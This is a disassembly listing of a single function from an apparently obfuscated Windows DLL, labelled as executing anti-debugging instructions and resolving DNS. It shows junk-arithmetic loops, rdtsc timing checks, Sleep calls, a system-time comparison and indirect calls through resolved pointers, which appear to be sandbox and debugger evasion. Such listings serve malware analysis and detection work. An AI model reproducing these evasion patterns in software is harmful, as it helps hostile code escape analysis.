Function at 0x18000100f
Capabilities:
Execute anti-debugging instructions
Resolve dns

Disassembly:
sub rsp, 0xb38
lea rbp, [rsp + 0x200]
push rbp
mov rbp, rsp
sub rsp, 0x3b8
movzx eax, cx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800012d0
mov qword [rbp - 0x2f0], rcx
sub ecx, edx
sub qword [rbp - 0x379], rax
mov qword [0x180008b8d], r10
mov edx, eax
nop
and eax, edx
sub qword [rbp - 0x361], r10
sub rax, qword [rbp - 0x11a]
movzx edx, dh
mov r9, qword [0x180008b92]
mov qword [rbp - 0x35a], rax
sub eax, edx
mov edx, dword [rbp - 0x305]
movzx ecx, cx
mov r11, 0x25c5
mov dword [str.IFiDRy2W4BXUWltsjNjt72SnvT0oHvhr3VKSdcnrH0EOa416uIy55h9dbDVR164191c2xTEjfpspCo], ecx
mov rcx, r11
mov qword [rbp - 0x323], r11
mov r10, 0xaae4
sub edx, dword [0x180008b9b]
add r8, qword [rbp - 0x20d]
mov qword [rbp - 0x291], rcx
sub r8, qword [0x180008b92]
xor byte [rbp - 0x70], dh
mov dword [rbp - 0x1d0], edx
sub qword [rbp - 0x7d], rcx
mov dh, cl
lea rdx, [rbp - 0x4f]
sub byte [rbp - 0x1c1], dh
add edx, 0x8ec3
mov byte [rbp - 0x2eb], al
add ecx, 0x94c
mov dword [rbp - 0x130], ecx
movzx ecx, al
mov r8, rax
mov eax, dword [rbp - 0xc6]
mov dword [rbp - 0x1bc], eax
mov eax, dword [rbp - 0x246]
sub qword [rbp - 0x196], r9
mov eax, ecx
mov al, 0x2c
mov rax, qword [rbp - 0x213]
add dword [rbp - 0x2c3], eax
mov eax, ecx
mov qword [rbp - 0xcd], r9
and r8, qword [rbp - 0x112]
xor edx, 0x2eff
mov edx, dword [rbp - 0x1b]
lea r9, [rbp - 0x1ef]
mov r9, r8
mov eax, dword [rbp - 0x2a8]
mov rcx, rax
mov eax, dword [rbp - 0x6f]
xor dword [rbp - 0x2c7], eax
and dword [rbp - 0x2b6], edx
mov qword [rbp - 0xa5], rdx
add ecx, dword [rbp - 0x2f7]
mov eax, ecx
lea rax, [rbp - 0x34c]
mov qword [rbp - 0x25b], r10
mov eax, 0x47ee
mov edx, dword [rbp - 0x378]
sub r8, qword [0x180008b92]
mov r8, qword [rbp - 0x20f]
mov qword [rbp - 0xd5], r10
mov ecx, dword [rbp - 0x161]
mov r9, qword [rbp - 0x24d]
mov r9, qword [rbp - 0x1eb]
mov ecx, edx
mov dword [rbp - 0x191], ecx
mov edx, dword [rbp - 0x96]
movzx ecx, byte [0x180008b97]
mov ecx, eax
sub eax, dword [rbp - 0x29a]
sub qword [rbp - 0x1ea], r10
mov qword [rbp - 0x255], rdx
mov edx, 0x9f6e
mov dword [rbp - 0x273], edx
movzx eax, byte [rbp - 0x172]
sub ecx, eax
mov qword [rbp - 0xae], rdx
mov edx, dword [rbp - 0x100]
add rdx, 0xd897
mov r11, qword [rbp - 0x2d7]
mov edx, eax
mov qword [rbp - 0x2b4], r10
mov edx, dword [rbp - 0xb6]
mov edx, eax
mov qword [rbp - 0x56], r9
xor rax, r9
mov dword [rbp - 0x1b9], eax
mov ecx, dword [rbp - 0xf8]
add dword [rbp - 0x55], ecx
add rdx, 0x8e29
movzx eax, ah
mov ecx, eax
movzx edx, al
lea r8, [rbp - 0x61]
mov edx, dword [rbp - 0x2b2]
movzx eax, cx
movzx ecx, ax
sub edx, 0xb99a
sub ecx, dword [0x180008b9a]
mov dword [rbp - 0x322], eax
mov r11, qword [rbp - 0x3ae]
mov r10, r11
mov r9, r11
and edx, dword [rbp - 0x20b]
movzx eax, byte [0x180008b9b]
and qword [rbp - 0x3e], r11
movzx ecx, cl
mov word [rbp - 0x297], dx
mov r10, 0x15f0
lea rax, [rbp - 0x77]
sub ecx, edx
add r10, 0xb769
xor r8, 0xd065
mov r11, qword [rbp - 0x1d5]
and r9, qword [0x180008b96]
mov dword [rbp - 0x2d2], eax
xor rdx, qword [rbp - 0x143]
mov eax, 0x19ba
sub ecx, edx
xor dword [rbp - 0x210], edx
and edx, dword [rbp - 0x301]
inc qword [rsp]
mov edx, 0x740f
cmp edx, dword [rsp]
jl 0x18000103d
add rsp, 0x10
call sub.KERNEL32.dll_GetCurrentProcess
mov edx, dword [rbp - 0x46]
add rdx, qword [rbp - 0x318]
sub ecx, edx
mov dword [rbp - 0x14f], eax
mov qword [rbp - 0x2eb], rcx
mov r8, r9
xor ecx, dword [rbp - 1]
mov dword [rbp - 0x22a], eax
mov ecx, eax
add dword [rbp - 0x3a], edx
call sub.KERNEL32.dll_GetCurrentThreadId
movzx ecx, byte [rbp - 0x31e]
sub edx, eax
or r9, 0x81e1
mov r9, 0x9791
sub rsp, 0x30
mov rcx, 0xb6fa
call sub.msvcrt.dll_malloc
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x2fb], r11
mov ecx, eax
or dword [rbp - 0x2b6], ecx
add qword [rbp - 0x31e], rcx
mov rcx, qword [rsp + 0x20]
cmp rcx, 0
je 0x180001368
call sub.msvcrt.dll_free
add rsp, 0x30
leave
rdtsc
shl rdx, 0x20
or rdx, rax
mov rbx, rdx
add rbx, qword [0x180008a5c]
push rbp
mov rbp, rsp
sub rsp, 0x278
or dword [rbp - 0x213], ecx
mov ecx, edx
mov r9, rdx
or qword [rbp - 0x117], r9
sub edx, 0x1e3b
add dword [rbp - 0xf3], eax
movzx edx, dx
mov eax, 0x862e
or qword [rbp - 0x21d], r11
lea rdx, [rbp - 0xad]
mov qword [rbp - 0x105], rdx
mov eax, dword [rbp - 0x172]
mov qword [rbp - 0xbb], rax
movzx edx, ah
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800016c2
mov rax, r8
sub qword [rbp - 0x182], rcx
sub r8, 0xabd7
mov ecx, eax
mov edx, dword [rbp - 0x2e]
or qword [rbp - 0xc], r9
mov edx, dword [rbp - 0x18c]
mov edx, dword [rbp - 0x19]
mov dword [rbp - 0x16a], edx
mov qword [rbp - 0x1bd], r11
xor dword [rbp - 0x1b7], edx
mov r8, qword [rbp - 0x13b]
mov rcx, rax
movzx edx, ah
sub qword [rbp - 0x40], r11
xor eax, dword [rbp - 0x131]
xor r11, r10
mov qword [rbp - 0xfb], rcx
add qword [rbp - 0x60], r9
mov eax, 0xe21e
mov byte [rbp - 0x111], cl
mov rax, 0x2df6
lea rax, [0x180008b94]
movzx ecx, ch
movzx ecx, ch
mov qword [rbp - 0x193], r11
sub ecx, dword [rbp - 0x1a5]
mov eax, dword [0x180008b97]
lea rdx, [0x180008b99]
mov dword [rbp - 0x238], ecx
xor qword [rbp - 0x145], rdx
add dword [rbp - 0x181], eax
add cx, 0xeccf
sub qword [rbp - 0xfa], r9
sub eax, dword [rbp - 0x25a]
mov rdx, qword [rbp - 0x1a3]
mov qword [rbp - 0x1a], r10
mov rdx, qword [0x180008b91]
mov rax, r11
add r8, qword [rbp - 0x22f]
movzx edx, ax
sub qword [rbp - 0x240], r8
mov rax, 0xc5f6
movzx edx, al
mov rdx, qword [rbp - 0x31]
sub r8, 0x8f1d
mov eax, dword [rbp - 0x18f]
mov eax, ecx
mov edx, dword [rbp - 0x5f]
add r10, qword [rbp - 0x221]
movzx edx, dl
mov dword [rbp - 0x10b], eax
mov dword [rbp - 0x13c], eax
mov cx, dx
mov dword [rbp - 0x238], ecx
sub rax, r10
xor eax, dword [rbp - 0x53]
mov ecx, dword [rbp - 0x1d9]
and eax, edx
or dword [rbp - 0x33], ecx
mov dword [rbp - 0x20f], eax
mov r8, qword [rbp - 0x256]
mov dword [rbp - 0x230], edx
mov qword [0x180008b95], r8
add qword [rbp - 0x73], r8
movzx edx, byte [rbp - 0xa7]
mov dword [rbp - 0xed], edx
xor qword [rbp - 0x26c], r10
or dword [rbp - 0x12b], ecx
and r11, qword [rbp - 0x100]
or edx, dword [rbp - 0x168]
add rdx, qword [rbp - 0x126]
xor dword [rbp - 0x1cc], edx
movzx edx, ch
mov qword [rbp - 0xea], r10
mov edx, ecx
mov dword [rbp - 0xf2], eax
xor ecx, 0xddaf
mov qword [rbp - 0xff], rcx
mov r8, qword [rbp - 0x1dc]
mov rdx, qword [rbp - 0x94]
mov qword [rbp - 0x257], rdx
add eax, 0xd14a
mov qword [rbp - 0x162], rcx
and r10, qword [rbp - 0x50]
mov edx, dword [rbp - 0x1c3]
movzx ecx, dl
xor qword [rbp - 0x179], rax
sub edx, 0x3026
sub ecx, 0xc508
mov ecx, 0xcc64
mov qword [rbp - 0x151], rax
sub ecx, eax
add ecx, dword [rbp - 0x4c]
xor edx, ecx
mov r11, r8
sub edx, dword [rbp - 0x20e]
mov qword [rbp - 0x118], rax
mov r10, r11
xor eax, dword [rbp - 0x223]
movzx edx, dl
mov r11, qword [rbp - 0x88]
xor edx, eax
sub rcx, r11
mov dword [rbp - 0x2e], ecx
mov r10, qword [rbp - 0x73]
mov dword [rbp - 0x136], edx
mov edx, dword [rbp - 0x199]
and r9, qword [rbp - 0x14e]
mov rax, qword [rbp - 0xa3]
movzx edx, ah
sub eax, 0xa545
mov r11, qword [rbp - 0x165]
xor dword [rbp - 0x133], ecx
sub qword [rbp - 0x23b], r9
add r11, qword [rbp - 0x179]
sub r11, qword [rbp - 0xbd]
mov dword [0x180008b94], eax
add eax, 0xb77
add rcx, r10
mov eax, dword [rbp - 0xb8]
movzx eax, al
add ecx, edx
xor rax, r10
mov eax, dword [0x180008b90]
mov qword [rbp - 0x1a5], rax
sub eax, ecx
mov r10, rcx
mov rcx, r10
mov dword [rbp - 0x1ba], edx
or rcx, qword [rbp - 0x4a]
mov r10, qword [rbp - 0x254]
mov r10, qword [rbp - 0x68]
and r9, 0x91eb
mov eax, edx
mov eax, dword [rbp - 0x95]
sub ecx, 0xac2c
mov qword [rbp - 0x105], r9
or qword [rbp - 0x95], r11
mov r11, qword [rbp - 0x217]
inc qword [rsp]
mov r11, 0xef00
cmp qword [rsp], r11
jle 0x1800013e7
add rsp, 0x10
lea rdx, [rbp - 0x246]
add r8, qword [0x180008b90]
mov rcx, 0x8168
mov edx, dword [rbp - 0x15f]
leave
mov rcx, 0x3e8
call sub.KERNEL32.dll_Sleep
push rbp
mov rbp, rsp
sub rsp, 0x4d8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000178f
lea rdx, [rbp - 0x383]
xor qword [rbp - 0x40f], rdx
mov qword [0x180008b99], rcx
lea rax, [rbp - 0x181]
add ecx, eax
mov edx, 0x224
mov dword [rbp - 0x2df], edx
movzx eax, dx
mov dword [rbp - 0x47e], edx
mov eax, ecx
mov eax, dword [rbp - 0x29a]
sub qword [rbp - 0x7a], rcx
and rax, r10
sub rdx, 0xa84d
mov eax, dword [rbp - 0x1ee]
lea r10, [0x180008b8d]
add dword [rbp - 0x2cd], eax
mov r9, rcx
mov rdx, rax
mov edx, dword [rbp - 0x145]
sub ecx, dword [rbp - 0x392]
movzx eax, dx
add r9, r8
inc qword [rsp]
mov ecx, 0x1abb
cmp ecx, dword [rsp]
jl 0x180001718
add rsp, 0x10
mov rdx, qword [0x180008b99]
sub rsp, 0x40
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemTime
add rsp, 0x40
mov qword [rbp - 0x32a], r8
add r9, 0xa818
or r8, rax
mov qword [rbp - 0x1ba], rax
mov eax, ecx
mov eax, dword [rbp - 0xb0]
cmp rdx, 0x3155e438
je 0x180001a77
mov dword [rbp - 0x3bb], eax
mov edx, dword [rbp - 0x4b0]
mov edx, eax
or r11, r10
sub r8, 0x97ee
mov edx, dword [rbp - 0x460]
mov dword [rbp - 0x28a], edx
xor rax, qword [rbp - 0x2ce]
mov edx, dword [rbp - 0x66]
and edx, eax
mov r8, qword [rbp - 0x72]
and eax, edx
mov dword [rbp - 0x61], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001846
or dword [rbp - 0x1ec], ecx
mov qword [rbp - 0x4b2], rax
mov qword [rbp - 0x23e], rcx
inc qword [rsp]
mov r11, 0xd4bd
cmp qword [rsp], r11
jle 0x18000182e
add rsp, 0x10
sub qword [rbp - 0x12d], r11
movzx ecx, ah
mov qword [rbp - 0x19f], rdx
mov qword [rbp - 0x264], rax
mov ecx, edx
mov qword [rbp - 0x10e], r9
sub dword [0x180008b9b], ecx
and dword [rbp - 0xd1], eax
sub r11, qword [rbp - 0x4a3]
mov dword [rbp - 0x15], edx
mov qword [rbp - 0x345], rax
or r10, 0x546d
mov edx, dword [rbp - 0x6a]
mov eax, dword [rbp - 0x6d]
sub ecx, 0xc8c4
mov dword [rbp - 0x14f], ecx
lea r8, [rbp - 0x135]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800019e3
or r9, qword [rbp - 0x2b8]
and r11, r9
mov eax, dword [0x180008b96]
sub r8, rcx
mov dword [rbp - 0x33], edx
mov ecx, dword [rbp - 0x136]
mov edx, ecx
movzx eax, ah
sub r10, 0xfa7f
xor dword [rbp - 0x133], eax
mov eax, dword [rbp - 0x372]
add ecx, 0xbee0
mov rdx, qword [rbp - 0x2ef]
mov rax, r11
mov dword [rbp - 0x87], ecx
or r10, rax
mov edx, dword [rbp - 0x129]
movzx edx, al
movzx edx, byte [rbp - 0x230]
mov ecx, dword [rbp - 0x46]
mov eax, dword [rbp - 0x317]
mov qword [rbp - 0x241], r9
mov dword [rbp - 0x36b], eax
mov rax, qword [rbp - 0x288]
add eax, dword [0x180008b8f]
mov eax, edx
mov r10, qword [rbp - 0x241]
mov eax, dword [rbp - 0x1a6]
add rcx, rax
mov rcx, qword [rbp - 0x38]
mov eax, dword [0x180008b8f]
xor r11, rcx
mov dword [rbp - 0x3f3], edx
mov edx, dword [rbp - 0x39a]
mov qword [0x180008b95], r10
mov ecx, 0x4565
and qword [rbp - 0x4c3], rcx
sub ecx, dword [rbp - 0x23c]
movzx ecx, ch
mov dword [rbp - 0x3de], eax
lea r9, [rbp - 0x3bc]
or rax, r8
mov qword [rbp - 0x190], rdx
mov qword [rbp - 0x429], rcx
mov dword [0x180008b93], edx
mov ecx, 0x8588
or r11, qword [rbp - 0x442]
lea r10, [rbp - 0x1bc]
mov qword [rbp - 0x445], r11
mov r10, r9
add eax, dword [rbp]
mov eax, dword [rbp - 0xf8]
add dword [rbp - 0x1df], edx
and edx, eax
inc qword [rsp]
cmp qword [rsp], 0x61fd
jle 0x1800018c6
add rsp, 0x10
mov eax, dword [rbp - 0x301]
movzx eax, byte [rbp - 0x1c1]
mov rcx, qword [rbp - 0x10d]
mov edx, 0xef3e
mov al, byte [rbp - 0x4ba]
mov r11, qword [rbp - 0x1f4]
add rcx, qword [rbp - 0x446]
mov dword [rbp - 0x222], eax
mov ecx, eax
cmp rcx, rdx
je 0x180001a77
mov r11, 0x789
mov edx, ecx
or qword [rbp - 0xa4], rdx
mov qword [rbp - 0x243], rcx
add qword [rbp - 0x3ec], rdx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001a66
movzx eax, word [0x180008b94]
inc qword [rsp]
mov rcx, 0xb231
cmp qword [rsp], rcx
jle 0x180001a5b
add rsp, 0x10
leave
rdtsc
shl rdx, 0x20
or rdx, rax
cmp rdx, rbx
jb 0x180001380
mov rcx, rbx
call sub.msvcrt.dll_srand
lea rdi, section..data
mov rsi, qword [0x180008a20]
movabs r12, 0x7db7eb9ea0bc7bb1
call fcn.180005086
push rbp
mov rbp, rsp
sub rsp, 0x68
xor qword [rbp - 0x21], rcx
sub eax, 0x42c5
cmp r8, 0xffffffffe4fabf61
jne 0x180001ae1
or dword [rbp - 0xf], eax
mov rcx, qword [rbp - 0x25]
mov rax, qword [0x180008b92]
mov rdx, qword [rbp - 0x2f]
movzx ecx, byte [rbp - 0x1e]
mov edx, ecx
mov qword [rbp - 0x3b], rax
add ecx, dword [rbp - 0x1e]
mov edx, dword [rbp - 0x50]
add ecx, 0xddb5
xor r9, qword [rbp - 0x15]
mov rdx, r10
mov eax, dword [rbp - 0x33]
or rax, r8
mov qword [rbp - 0x36], rdx
cmp eax, edx
je 0x180001b79
mov r8, rdx
sub dword [rbp - 0x21], ecx
mov eax, dword [rbp - 0x28]
add r9, qword [rbp - 0x3e]
or r9, rcx
mov rcx, qword [rbp - 0x5a]
sub r10, rcx
mov dword [rbp - 0x18], ecx
and rax, rdx
mov rcx, 0x3180
mov r11, rcx
sub rcx, 0x9c80
sub rdx, rcx
mov edx, dword [rbp - 0x54]
sub r9, qword [rbp - 0x4d]
mov qword [rbp - 0x2b], rdx
and rax, r9
mov qword [rbp - 0x24], r11
xor rdx, qword [rbp - 8]
mov rcx, qword [rbp - 0x2f]
sub r11, qword [rbp - 0x37]
movzx edx, ax
test edx, ecx
je 0x180001b63
movzx ecx, cl
mov word [rbp - 0x3d], ax
sub eax, 0xaf4e
mov qword [rbp - 0x12], rcx
movzx edx, al
add dword [rbp - 0x30], eax
sub qword [rbp - 8], r11
mov edx, dword [rbp - 0x25]
movzx ecx, byte [rbp - 0x50]
mov eax, ecx
mov ecx, dword [0x180008b8d]
cmp edx, ecx
jb 0x180001bc9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001b9b
inc qword [rsp]
mov edx, 0x571
cmp edx, dword [rsp]
jl 0x180001b97
add rsp, 0x10
mov rcx, qword [rbp - 0x2c]
sub ecx, dword [rbp - 0x2b]
mov rdx, rcx
add ecx, 0x4aa3
mov qword [rbp - 0x2e], r10
add edx, ecx
lea r11, [rbp - 0x2a]
mov r10, rdx
mov dword [rbp - 0x2a], edx
leave
call fcn.180005fee
push rbp
mov rbp, rsp
sub rsp, 0x2b8
sub eax, ecx
mov dl, byte [rbp - 0x16e]
mov dword [rbp - 0x1f6], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001c61
mov r10, qword [0x180008b98]
mov rdx, qword [rbp - 0x18c]
mov r11, qword [rbp - 0x15f]
mov dword [rbp - 0xf], eax
mov qword [rbp - 0x8d], r9
sub dword [rbp - 0x225], edx
mov rcx, qword [rbp - 0x180]
and ah, ch
mov rcx, 0x4138
mov eax, dword [rbp - 0x190]
mov edx, dword [0x180008b9a]
mov edx, 0x79a3
mov qword [0x180008b90], rax
mov r8, qword [rbp - 0x1cf]
mov r8, qword [rbp - 0x162]
mov ecx, dword [rbp - 0x282]
mov edx, dword [rbp - 0x183]
inc qword [rsp]
cmp qword [rsp], 0xcfcc
jle 0x180001bf6
add rsp, 0x10
add qword [rbp - 0x215], r9
mov r8, rcx
mov ecx, eax
mov dx, word [rbp - 0x26b]
mov dword [rbp - 0xdb], edx
xor rax, rcx
sub ecx, dword [rbp - 0xad]
mov r11, qword [rbp - 0x247]
mov rdx, r10
mov ecx, edx
mov ecx, eax
mov dword [rbp - 0x13f], edx
add r11, rdx
add edx, 0x9750
and qword [rbp - 0x78], rcx
mov qword [rbp - 0x164], rdx
mov ecx, dword [rbp - 0xc8]
movzx eax, byte [0x180008b96]
mov eax, 0x90d3
mov dword [rbp - 0xbe], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001d08
mov edx, eax
mov edx, dword [rbp - 0x1f1]
mov edx, dword [rbp - 0x2a4]
lea r11, [rbp - 0x223]
movzx ecx, dh
mov qword [rbp - 0x186], rdx
mov eax, dword [rbp - 0xc0]
inc qword [rsp]
mov r10, 0x7185
cmp qword [rsp], r10
jle 0x180001cdf
add rsp, 0x10
or rdx, qword [rbp - 0x20b]
mov rdx, qword [rbp - 0x2e]
sub ecx, edx
mov rdx, r11
mov r11, 0xf4d5
movzx edx, byte [rbp - 0x9c]
mov qword [rbp - 0x223], rdx
sub r9, rdx
cmp rdx, r11
jne 0x180001d62
mov r8, qword [rbp - 0x1b7]
mov rax, qword [rbp - 0xa6]
add rdx, qword [rbp - 0x11c]
mov qword [rbp - 0x5f], r8
mov r11, r10
leave
call fcn.180006e4a
cmp rax, 0
jne 0x180006fa9
push rbp
mov rbp, rsp
sub rsp, 0x478
lea r9, [rbp - 0x293]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001e0a
sub eax, 0xbf99
mov ecx, edx
or eax, dword [rbp - 0x8f]
mov qword [0x180008b91], r11
sub qword [0x180008b9b], rax
add dword [str.IFiDRy2W4BXUWltsjNjt72SnvT0oHvhr3VKSdcnrH0EOa416uIy55h9dbDVR164191c2xTEjfpspCo], eax
mov rax, qword [rbp - 0x1d7]
mov edx, dword [rbp - 0xcf]
mov r8, rax
mov r8, 0x2564
mov dword [rbp - 4], ecx
mov qword [rbp - 0x91], rdx
movzx eax, ch
mov word [rbp - 0x2f5], cx
xor qword [rbp - 0x97], rax
mov dword [rbp - 0x162], eax
mov rcx, qword [rbp - 0x146]
sub edx, dword [rbp - 0x1e8]
sub eax, 0x80ef
or ecx, dword [rbp - 0x385]
sub dword [rbp - 0x3b], eax
inc qword [rsp]
mov rdx, 0xe3
cmp qword [rsp], rdx
jle 0x180001d92
add rsp, 0x10
add eax, dword [rbp - 0x79]
mov eax, edx
xor edx, dword [0x180008b97]
mov r10, qword [rbp - 0x87]
movzx edx, al
mov dword [rbp - 0x35d], eax
cmp eax, dword [0x180008b9b]
je 0x180001eac
add r8, 0xfdbd
mov r9, r11
xor qword [rbp - 0xb0], r8
xor ax, word [0x180008b9a]
add edx, dword [rbp - 0xc1]
and qword [0x180008b98], r10
lea rdx, [rbp - 0x2ed]
mov ecx, eax
mov qword [rbp - 0x35a], r10
and qword [rbp - 0x225], rdx
mov ch, ah
xor edx, dword [0x180008b93]
mov qword [rbp - 0x426], r11
xor edx, ecx
and dword [rbp - 0x164], eax
mov dword [rbp - 0x1e8], edx
sub edx, eax
mov dword [0x180008b8e], eax
mov eax, ecx
mov r11, qword [0x180008b8d]
mov dword [rbp - 0x42f], edx
movzx edx, byte [0x180008b93]
or rax, qword [rbp - 0x363]
or dword [rbp - 0x1c3], eax
or edx, eax
movzx ecx, dx
mov r8, r9
mov dword [rbp - 0xf4], edx
add qword [rbp - 0xce], r11
mov rcx, qword [rbp - 0x1dc]
or edx, dword [rbp - 0x225]
lea r10, [0x180008b98]
cmp r10, qword [0x180008b95]
je 0x180001eff
mov qword [rbp - 0x37b], r10
leave
lea rdx, [rbp - 0x40]
mov rcx, 0x202
mov rax, qword [0x180008abc]
call rax
test eax, eax
jne 0x1800049f0
push rbx
push r12
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x1f8
mov rdx, r11
mov edx, ecx
mov edi, dword [rbp - 0x162]
mov ecx, edi
mov rax, qword [rbp - 0x1b3]
xor dword [rbp - 0xa1], ebx
lea r11, [rbp - 0x13f]
mov qword [rbp - 0x1f], rdi
movzx eax, ch
xor rdx, rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001f93
mov bh, byte [rbp - 0x155]
mov edi, ecx
mov eax, edi
xor eax, dword [rbp - 0x7a]
mov rdi, qword [0x180008b92]
mov edx, eax
add eax, dword [rbp - 0x9a]
add rcx, qword [rbp - 0xea]
mov edi, edx
mov dword [rbp - 0x1a4], ecx
inc qword [rsp]
mov ecx, 0xf226
cmp ecx, dword [rsp]
jl 0x180001f64
add rsp, 0x10
mov qword [rbp - 0xb], r9
mov edx, eax
mov qword [rbp - 0x195], rax
mov qword [rbp - 0x124], rdi
mov eax, 0xdd9a
add dword [rbp - 0x157], ebx
add dx, word [rbp - 0x188]
mov qword [rbp - 0x1da], rbx
xor rdi, qword [rbp - 0x1a3]
mov eax, dword [rbp - 0xfb]
sub r8, qword [rbp - 0x18d]
mov ebx, dword [rbp - 0x74]
mov edi, dword [0x180008b93]
movzx ebx, di
movzx ecx, cl
mov qword [rbp - 0x142], rdx
mov qword [rbp - 0x190], rdx
mov ebx, dword [0x180008b8e]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000206a
mov dword [rbp - 0x35], eax
movzx eax, dh
sub qword [rbp - 0xf0], rbx
mov r8, qword [rbp - 0x11]
mov r8, qword [rbp - 0x1b6]
mov byte [rbp - 0x6f], al
mov rbx, qword [rbp - 0x15c]
add rdi, qword [0x180008b93]
mov rdx, rbx
and rdi, rax
mov dword [rbp - 0x1a], edi
sub r9, 0x4fe
mov qword [rbp - 0x142], rax
add ebx, ecx
or qword [rbp - 0x1e], r11
mov qword [rbp - 0x152], rcx
mov dword [rbp - 0x139], eax
inc qword [rsp]
mov eax, 0x32e4
cmp eax, dword [rsp]
jl 0x180002013
add rsp, 0x10
leave
pop rdi
pop r12
pop rbx
rdtsc
mov dword [0x180008225], eax
push r13
push rsi
push r15
push r12
push r14
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x248
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800020f3
mov esi, dword [rbp - 0xcb]
sub rdi, rsi
or edi, dword [rbp - 0x1db]
mov eax, dword [rbp - 0x7b]
movzx edi, dl
mov dword [rbp - 0x14f], edi
lea r14, [rbp - 0x1ef]
mov qword [rbp - 0x1e7], r13
movzx eax, al
mov qword [rbp - 0xa6], r14
mov r13, qword [0x180008b8f]
add dword [0x180008b9b], esi
mov edi, eax
mov esi, 0x7803
inc qword [rsp]
mov rdi, 0x92aa
cmp qword [rsp], rdi
jle 0x1800020a8
add rsp, 0x10
mov dword [rbp - 0xd8], edi
add edx, dword [rbp - 0x96]
add edi, dword [0x180008b93]
mov esi, dword [rbp - 0xa4]
mov rdx, qword [rbp - 0x109]
add r12, qword [rbp - 0x137]
sub eax, 0x309f
mov rdi, qword [rbp - 0x96]
mov edx, edi
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000214a
inc qword [rsp]
mov r13, 0xa3ef
cmp qword [rsp], r13
jle 0x180002146
add rsp, 0x10
add esi, dword [rbp - 0x1d1]
mov rcx, r14
add al, byte [rbp - 0x98]
mov edi, eax
add r14, qword [rbp - 2]
mov qword [rbp - 0x12f], r15
nop
mov qword [rbp - 0x142], rcx
mov dword [rbp - 0x1c], edx
add edi, dword [rbp - 0xf6]
mov rsi, qword [rbp - 0x18f]
and r13, 0x8248
sub r9, r13
mov rcx, qword [rbp - 0x1bf]
mov dword [0x180008b8f], edi
add edx, dword [rbp - 0x32]
add eax, edx
mov dword [rbp - 0x3a], edi
and rax, qword [rbp - 0x104]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800021d5
mov rsi, qword [rbp - 0x208]
add rsi, qword [rbp - 0x1be]
inc qword [rsp]
mov rcx, 0xbdf6
cmp qword [rsp], rcx
jle 0x1800021c3
add rsp, 0x10
mov rcx, qword [0x180008b91]
or eax, dword [rbp - 0x117]
or qword [rbp - 0x163], rdx
mov al, byte [rbp - 0x86]
mov edx, dword [rbp - 0x186]
mov qword [rbp - 0x20a], r13
movzx eax, ch
mov rsi, qword [rbp - 0x23a]
mov dword [rbp - 0x91], ecx
mov ecx, edx
add esi, 0x48c8
mov ecx, dword [0x180008b9a]
and cl, 1
sub r15, rax
mov qword [rbp - 0x1c4], rdi
leave
pop rdi
pop r14
pop r12
pop r15
pop rsi
pop r13
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x70], 1
push rbp
mov rbp, rsp
sub rsp, 0x58
cmp r10, r11
jb 0x1800022ba
mov dword [rbp - 0x3f], eax
mov rcx, 0x3391
add edx, dword [rbp - 0x4c]
mov r11, qword [0x180008b9a]
xor rcx, qword [rbp - 2]
mov r9, r11
sub qword [0x180008b8d], r10
mov edx, eax
mov eax, dword [rbp - 0x38]
add qword [rbp - 0x24], r8
and rdx, r8
mov rdx, rax
mov eax, 0x681
mov dword [rbp - 0xb], edx
mov rax, qword [rbp - 0x40]
sub dword [rbp - 0x1f], edx
mov edx, eax
xor ecx, dword [rbp - 0x3b]
sub dword [rbp - 0x46], ecx
sub rax, qword [rbp - 0x1c]
add r10, 0x8a90
cmp rax, qword [0x180008b90]
jne 0x1800022d5
sub dx, 0x579f
mov r10, rax
movzx ecx, dx
mov r8, qword [0x180008b93]
cmp rcx, qword [0x180008b98]
jno 0x180002360
mov qword [rbp - 0x17], r8
add r9, qword [rbp - 0x13]
or eax, ecx
cmp rdx, qword [0x180008b8f]
je 0x180002360
mov dword [rbp - 0x46], eax
mov r8, r9
mov dword [rbp - 0x45], edx
or r11, 0x7081
mov rcx, r8
mov edx, dword [rbp - 0x41]
cmp r9, r10
js 0x180002360
and ecx, edx
xor ecx, dword [rbp - 0x29]
mov r9, qword [rbp - 0x4a]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002352
mov dword [rbp - 0x2c], ecx
mov rax, qword [rbp]
mov r9, qword [rbp - 0x44]
mov dword [rbp - 0x28], eax
mov r8, 0xa802
sub ecx, 0x9be8
add dword [rbp - 0x3a], edx
add dword [rbp - 0x3d], edx
mov dword [rbp - 0x1c], ecx
inc qword [rsp]
mov eax, 0xd907
cmp eax, dword [rsp]
jl 0x18000232a
add rsp, 0x10
leave
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
mov r9d, 0
mov rax, qword [0x180008a7c]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x378
or ecx, eax
mov rax, r11
mov ecx, eax
mov r10, qword [0x180008b99]
mov qword [0x180008b98], rdx
mov rax, r10
mov r11, qword [rbp - 0x25c]
xor eax, ecx
mov eax, dword [rbp - 0x142]
mov dword [rbp - 0xcb], eax
or r10, qword [rbp - 0x322]
mov rcx, 0x2d0c
mov dword [rbp - 0x159], eax
xor qword [0x180008b8d], r11
mov rax, r9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002425
mov r11, r9
mov eax, dword [rbp - 0x2d]
or qword [rbp - 0x214], r9
mov r10, 0x74ad
